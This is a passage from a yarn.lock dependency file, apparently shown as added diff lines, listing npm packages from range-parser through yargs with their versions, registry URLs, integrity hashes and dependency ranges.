sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA== + +range-parser@~1.2.0: + version "1.2.1" + resolved "https://registry.yarnpkg.com/range-parser/-/range-parser-1.2.1.tgz#3cf37023d199e1c24d1a55b84800c2f3e6468031" + integrity sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg== + +raw-body@2.3.3: + version "2.3.3" + resolved "https://registry.yarnpkg.com/raw-body/-/raw-body-2.3.3.tgz#1b324ece6b5706e153855bc1148c65bb7f6ea0c3" + integrity sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw== + dependencies: + bytes "3.0.0" + http-errors "1.6.3" + iconv-lite "0.4.23" + unpipe "1.0.0" + +readable-stream@^3.6.0: + version "3.6.0" + resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" + integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== + dependencies: + inherits "^2.0.3" + string_decoder "^1.1.1" + util-deprecate "^1.0.1" + +regenerator-runtime@^0.11.0: + version "0.11.1" + resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9" + integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg== + +repeat-string@^1.5.2: + version "1.6.1" + resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637" + integrity sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w== + +resolve@^1.1.6: + version "1.22.1" + resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.22.1.tgz#27cb2ebb53f91abb49470a928bba7558066ac177" + integrity sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw== + dependencies: + is-core-module "^2.9.0" + path-parse "^1.0.7" + supports-preserve-symlinks-flag "^1.0.0" + +retry@^0.12.0: + version "0.12.0" + resolved "https://registry.yarnpkg.com/retry/-/retry-0.12.0.tgz#1b42a6266a21f07421d1b0b54b7dc167b01c013b" + integrity sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow== + +right-align@^0.1.1: + version "0.1.3" + resolved "https://registry.yarnpkg.com/right-align/-/right-align-0.1.3.tgz#61339b722fe6a3515689210d24e14c96148613ef" + integrity sha512-yqINtL/G7vs2v+dFIZmFUDbnVyFUJFKd6gK22Kgo6R4jfJGFtisKyncWDDULgjfqf4ASQuIQyjJ7XZ+3aWpsAg== + dependencies: + align-text "^0.1.1" + +rimraf@^3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a" + integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA== + dependencies: + glob "^7.1.3" + +safe-buffer@5.1.2: + version "5.1.2" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" + integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== + +safe-buffer@~5.2.0: + version "5.2.1" + resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" + integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== + +"safer-buffer@>= 2.1.2 < 3", "safer-buffer@>= 2.1.2 < 3.0.0": + version "2.1.2" + resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" + integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== + +semver@^6.0.0: + version "6.3.0" + resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d" + integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw== + +semver@^7.3.5: + version "7.3.8" + resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.8.tgz#07a78feafb3f7b32347d725e33de7e2a2df67798" + integrity sha512-NB1ctGL5rlHrPJtFDVIVzTyQylMLu9N9VICA6HSFJo8MCGVTMW6gfpicwKmmK/dAjTOrqu5l63JJOpDSrAis3A== + dependencies: + lru-cache "^6.0.0" + +send@0.16.2: + version "0.16.2" + resolved "https://registry.yarnpkg.com/send/-/send-0.16.2.tgz#6ecca1e0f8c156d141597559848df64730a6bbc1" + integrity sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw== + dependencies: + debug "2.6.9" + depd "~1.1.2" + destroy "~1.0.4" + encodeurl "~1.0.2" + escape-html "~1.0.3" + etag "~1.8.1" + fresh "0.5.2" + http-errors "~1.6.2" + mime "1.4.1" + ms "2.0.0" + on-finished "~2.3.0" + range-parser "~1.2.0" + statuses "~1.4.0" + +serve-static@1.13.2: + version "1.13.2" + resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.13.2.tgz#095e8472fd5b46237db50ce486a43f4b86c6cec1" + integrity sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw== + dependencies: + encodeurl "~1.0.2" + escape-html "~1.0.3" + parseurl "~1.3.2" + send "0.16.2" + +set-blocking@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7" + integrity sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw== + +setprototypeof@1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.0.tgz#d0bd85536887b6fe7c0d818cb962d9d91c54e656" + integrity sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ== + +signal-exit@^3.0.0, signal-exit@^3.0.7: + version "3.0.7" + resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9" + integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ== + +smart-buffer@^4.2.0: + version "4.2.0" + resolved "https://registry.yarnpkg.com/smart-buffer/-/smart-buffer-4.2.0.tgz#6e1d71fa4f18c05f7d0ff216dd16a481d0e8d9ae" + integrity sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg== + +socks-proxy-agent@^6.0.0: + version "6.2.1" + resolved "https://registry.yarnpkg.com/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz#2687a31f9d7185e38d530bef1944fe1f1496d6ce" + integrity sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ== + dependencies: + agent-base "^6.0.2" + debug "^4.3.3" + socks "^2.6.2" + +socks@^2.6.2: + version "2.7.1" + resolved "https://registry.yarnpkg.com/socks/-/socks-2.7.1.tgz#d8e651247178fde79c0663043e07240196857d55" + integrity sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ== + dependencies: + ip "^2.0.0" + smart-buffer "^4.2.0" + +source-map@0.4.x: + version "0.4.4" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.4.4.tgz#eba4f5da9c0dc999de68032d8b4f76173652036b" + integrity sha512-Y8nIfcb1s/7DcobUz1yOO1GSp7gyL+D9zLHDehT7iRESqGSxjJ448Sg7rvfgsRJCnKLdSl11uGf0s9X80cH0/A== + dependencies: + amdefine ">=0.0.4" + +source-map@~0.5.1: + version "0.5.7" + resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.5.7.tgz#8a039d2d1021d22d1ea14c80d8ea468ba2ef3fcc" + integrity sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ== + +sqlite3@^5.0.11: + version "5.1.2" + resolved "https://registry.yarnpkg.com/sqlite3/-/sqlite3-5.1.2.tgz#f50d5b1482b6972fb650daf6f718e6507c6cfb0f" + integrity sha512-D0Reg6pRWAFXFUnZKsszCI67tthFD8fGPewRddDCX6w4cYwz3MbvuwRICbL+YQjBAh9zbw+lJ/V9oC8nG5j6eg== + dependencies: + "@mapbox/node-pre-gyp" "^1.0.0" + node-addon-api "^4.2.0" + tar "^6.1.11" + optionalDependencies: + node-gyp "8.x" + +ssri@^8.0.0, ssri@^8.0.1: + version "8.0.1" + resolved "https://registry.yarnpkg.com/ssri/-/ssri-8.0.1.tgz#638e4e439e2ffbd2cd289776d5ca457c4f51a2af" + integrity sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ== + dependencies: + minipass "^3.1.1" + +"statuses@>= 1.4.0 < 2": + version "1.5.0" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" + integrity sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA== + +statuses@~1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.4.0.tgz#bb73d446da2796106efcc1b601a253d6c46bd087" + integrity sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew== + +"string-width@^1.0.2 || 2 || 3 || 4", string-width@^4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010" + integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g== + dependencies: + emoji-regex "^8.0.0" + is-fullwidth-code-point "^3.0.0" + strip-ansi "^6.0.1" + +string_decoder@^1.1.1: + version "1.3.0" + resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e" + integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA== + dependencies: + safe-buffer "~5.2.0" + +strip-ansi@^6.0.1: + version "6.0.1" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9" + integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A== + dependencies: + ansi-regex "^5.0.1" + +supports-preserve-symlinks-flag@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz#6eda4bd344a3c94aea376d4cc31bc77311039e09" + integrity sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w== + +tar@^6.0.2, tar@^6.1.11, tar@^6.1.2: + version "6.1.12" + resolved "https://registry.yarnpkg.com/tar/-/tar-6.1.12.tgz#3b742fb05669b55671fb769ab67a7791ea1a62e6" + integrity sha512-jU4TdemS31uABHd+Lt5WEYJuzn+TJTCBLljvIAHZOz6M9Os5pJ4dD+vRFLxPa/n3T0iEFzpi+0x1UfuDZYbRMw== + dependencies: + chownr "^2.0.0" + fs-minipass "^2.0.0" + minipass "^3.0.0" + minizlib "^2.1.1" + mkdirp "^1.0.3" + yallist "^4.0.0" + +to-fast-properties@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-1.0.3.tgz#b83571fa4d8c25b82e231b06e3a3055de4ca1a47" + integrity sha512-lxrWP8ejsq+7E3nNjwYmUBMAgjMTZoTI+sdBOpvNyijeDLa29LUn9QaoXAHv4+Z578hbmHHJKZknzxVtvo77og== + +token-stream@0.0.1: + version "0.0.1" + resolved "https://registry.yarnpkg.com/token-stream/-/token-stream-0.0.1.tgz#ceeefc717a76c4316f126d0b9dbaa55d7e7df01a" + integrity sha512-nfjOAu/zAWmX9tgwi5NRp7O7zTDUD1miHiB40klUnAh9qnL1iXdgzcz/i5dMaL5jahcBAaSfmNOBBJBLJW8TEg== + +tr46@~0.0.3: + version "0.0.3" + resolved "https://registry.yarnpkg.com/tr46/-/tr46-0.0.3.tgz#8184fd347dac9cdc185992f3a6622e14b9d9ab6a" + integrity sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw== + +type-is@~1.6.16: + version "1.6.18" + resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131" + integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g== + dependencies: + media-typer "0.3.0" + mime-types "~2.1.24" + +uglify-js@^2.6.1: + version "2.8.29" + resolved "https://registry.yarnpkg.com/uglify-js/-/uglify-js-2.8.29.tgz#29c5733148057bb4e1f75df35b7a9cb72e6a59dd" + integrity sha512-qLq/4y2pjcU3vhlhseXGGJ7VbFO4pBANu0kwl8VCa9KEI0V8VfZIx2Fy3w01iSTA/pGwKZSmu/+I4etLNDdt5w== + dependencies: + source-map "~0.5.1" + yargs "~3.10.0" + optionalDependencies: + uglify-to-browserify "~1.0.0" + +uglify-to-browserify@~1.0.0: + version "1.0.2" + resolved "https://registry.yarnpkg.com/uglify-to-browserify/-/uglify-to-browserify-1.0.2.tgz#6e0924d6bda6b5afe349e39a6d632850a0f882b7" + integrity sha512-vb2s1lYx2xBtUgy+ta+b2J/GLVUR+wmpINwHePmPRhOsIVCG2wDzKJ0n14GslH1BifsqVzSOwQhRaCAsZ/nI4Q== + +unique-filename@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/unique-filename/-/unique-filename-1.1.1.tgz#1d69769369ada0583103a1e6ae87681b56573230" + integrity sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ== + dependencies: + unique-slug "^2.0.0" + +unique-slug@^2.0.0: + version "2.0.2" + resolved "https://registry.yarnpkg.com/unique-slug/-/unique-slug-2.0.2.tgz#baabce91083fc64e945b0f3ad613e264f7cd4e6c" + integrity sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w== + dependencies: + imurmurhash "^0.1.4" + +unpipe@1.0.0, unpipe@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" + integrity sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ== + +util-deprecate@^1.0.1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" + integrity sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw== + +utils-merge@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/utils-merge/-/utils-merge-1.0.1.tgz#9f95710f50a267947b2ccc124741c1028427e713" + integrity sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA== + +vary@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/vary/-/vary-1.1.2.tgz#2299f02c6ded30d4a5961b0b9f74524a18f634fc" + integrity sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg== + +void-elements@^2.0.1: + version "2.0.1" + resolved "https://registry.yarnpkg.com/void-elements/-/void-elements-2.0.1.tgz#c066afb582bb1cb4128d60ea92392e94d5e9dbec" + integrity sha512-qZKX4RnBzH2ugr8Lxa7x+0V6XD9Sb/ouARtiasEQCHB1EVU4NXtmHsDDrx1dO4ne5fc3J6EW05BP1Dl0z0iung== + +webidl-conversions@^3.0.0: + version "3.0.1" + resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-3.0.1.tgz#24534275e2a7bc6be7bc86611cc16ae0a5654871" + integrity sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ== + +whatwg-url@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/whatwg-url/-/whatwg-url-5.0.0.tgz#966454e8765462e37644d3626f6742ce8b70965d" + integrity sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw== + dependencies: + tr46 "~0.0.3" + webidl-conversions "^3.0.0" + +which@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1" + integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA== + dependencies: + isexe "^2.0.0" + +wide-align@^1.1.2, wide-align@^1.1.5: + version "1.1.5" + resolved "https://registry.yarnpkg.com/wide-align/-/wide-align-1.1.5.tgz#df1d4c206854369ecf3c9a4898f1b23fbd9d15d3" + integrity sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg== + dependencies: + string-width "^1.0.2 || 2 || 3 || 4" + +window-size@0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/window-size/-/window-size-0.1.0.tgz#5438cd2ea93b202efa3a19fe8887aee7c94f9c9d" + integrity sha512-1pTPQDKTdd61ozlKGNCjhNRd+KPmgLSGa3mZTHoOliaGcESD8G1PXhh7c1fgiPjVbNVfgy2Faw4BI8/m0cC8Mg== + +with@^5.0.0: + version "5.1.1" + resolved "https://registry.yarnpkg.com/with/-/with-5.1.1.tgz#fa4daa92daf32c4ea94ed453c81f04686b575dfe" + integrity sha512-uAnSsFGfSpF6DNhBXStvlZILfHJfJu4eUkfbRGk94kGO1Ta7bg6FwfvoOhhyHAJuFbCw+0xk4uJ3u57jLvlCJg== + dependencies: + acorn "^3.1.0" + acorn-globals "^3.0.0" + +wordwrap@0.0.2: + version "0.0.2" + resolved "https://registry.yarnpkg.com/wordwrap/-/wordwrap-0.0.2.tgz#b79669bb42ecb409f83d583cad52ca17eaa1643f" + integrity sha512-xSBsCeh+g+dinoBv3GAOWM4LcVVO68wLXRanibtBSdUvkGWQRGeE9P7IwU9EmDDi4jA6L44lz15CGMwdw9N5+Q== + +wrappy@1: + version "1.0.2" + resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f" + integrity sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ== + +yallist@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72" + integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A== + +yargs@~3.10.0: + version "3.10.0" + resolved "https://registry.yarnpkg.com/yargs/-/yargs-3.10.0.tgz#f7ee7bd857dd7c1d2d38c0e74efbd681d1431fd1" + integrity sha512-QFzUah88GAGy9lyDKGBqZdkYApt63rCXYBGYnEP4xDJPXNqXXnBDACnbrXnViV6jRSqAePwrATi2i8mfYm4L1A== + dependencies: + camelcase "^1.0.2" + cliui "^2.1.0" + decamelize "^1.0.0" + window-size "0.1.0"